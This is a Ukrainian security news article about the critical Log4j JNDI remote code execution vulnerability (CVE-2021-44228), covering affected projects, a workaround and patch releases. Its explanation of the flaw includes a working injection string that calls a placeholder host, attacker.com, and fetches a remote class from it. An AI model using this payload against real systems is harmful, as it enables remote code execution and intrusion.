Катастрофічна вразливість в Apache Log4j, що стосується багатьох Java-проектів.

В Apache Log4j, популярному фреймворку для організації ведення логів у Java-додатках, виявлено критичну вразливість, що дозволяє виконати довільний код при записі в лог спеціально оформленого значення у форматі «{jndi:URL}». Атака може бути проведена на Java-додатки, що записують в бал значення, отримані із зовнішніх джерел, наприклад, при виведенні проблемних значень в повідомленнях про помилки.

Наголошується, що проблемі схильні майже всі проекти, що використовують такі фреймворки, як Apache Struts, Apache Solr, Apache Druid або Apache Flink, включаючи Steam, Apple iCloud, клієнти та сервери гри Minecraft. Очікується, що ворожість може призвести до хвилі масових атак на корпоративні додатки, повторивши історію критичних уразливостей у фреймворку Apache Struts, який, за приблизною оцінкою, застосовується у web-додатках 65% компаній зі списку Fortune 100. У тому числі вже зафіксовані спроби сканування уразливих систем.

Проблема ускладнюється тим, що вже опубліковано робочий експлоїт, але виправлення для стабільних гілок на даний момент не сфромовано. СVE-ідентифікатор поки що не присвоєний. Виправлення включене лише у тестову гілку log4j-2.15.0-rc1. Як обхідний шлях блокування вразливості рекомендується виставити параметр log4j2.formatMsgNoLookups у значення true.

Проблема була викликана тим, що log4j підтримує обробку спеціальних масок «{}» у рядках, що виводяться в лог, в яких могли виконуватися запити JNDI (Java Naming and Directory Interface). Атака зводиться до передачі рядка з підстановкою ${jndi:ldap://attacker.com/a}, при обробці якої log4j відправить на сервер attacker.com LDAP-запит шляху до Java-класу. Повернений сервером атакуючого шлях (наприклад, http://second-stage.attacker.com/Exploit.class) буде завантажений і виконаний у контексті поточного процесу, що дозволяє атакуючому домогтися виконання довільного коду в системі з правами поточної програми.

Додаток 1: Вразливість має ідентифікатор CVE-2021-44228.

Додаток 2: Виявлено спосіб обходу захисту, доданий до випуску log4j-2.15.0-rc1. Запропоновано нове оновлення log4j-2.15.0-rc2 з повним захистом від уразливості. У коді виділяється зміна, пов'язана з відсутністю аварійного завершення у разі використання некоректно оформленого JNDI URL.

Джерело: opennet.ru

Додати коментар або відгук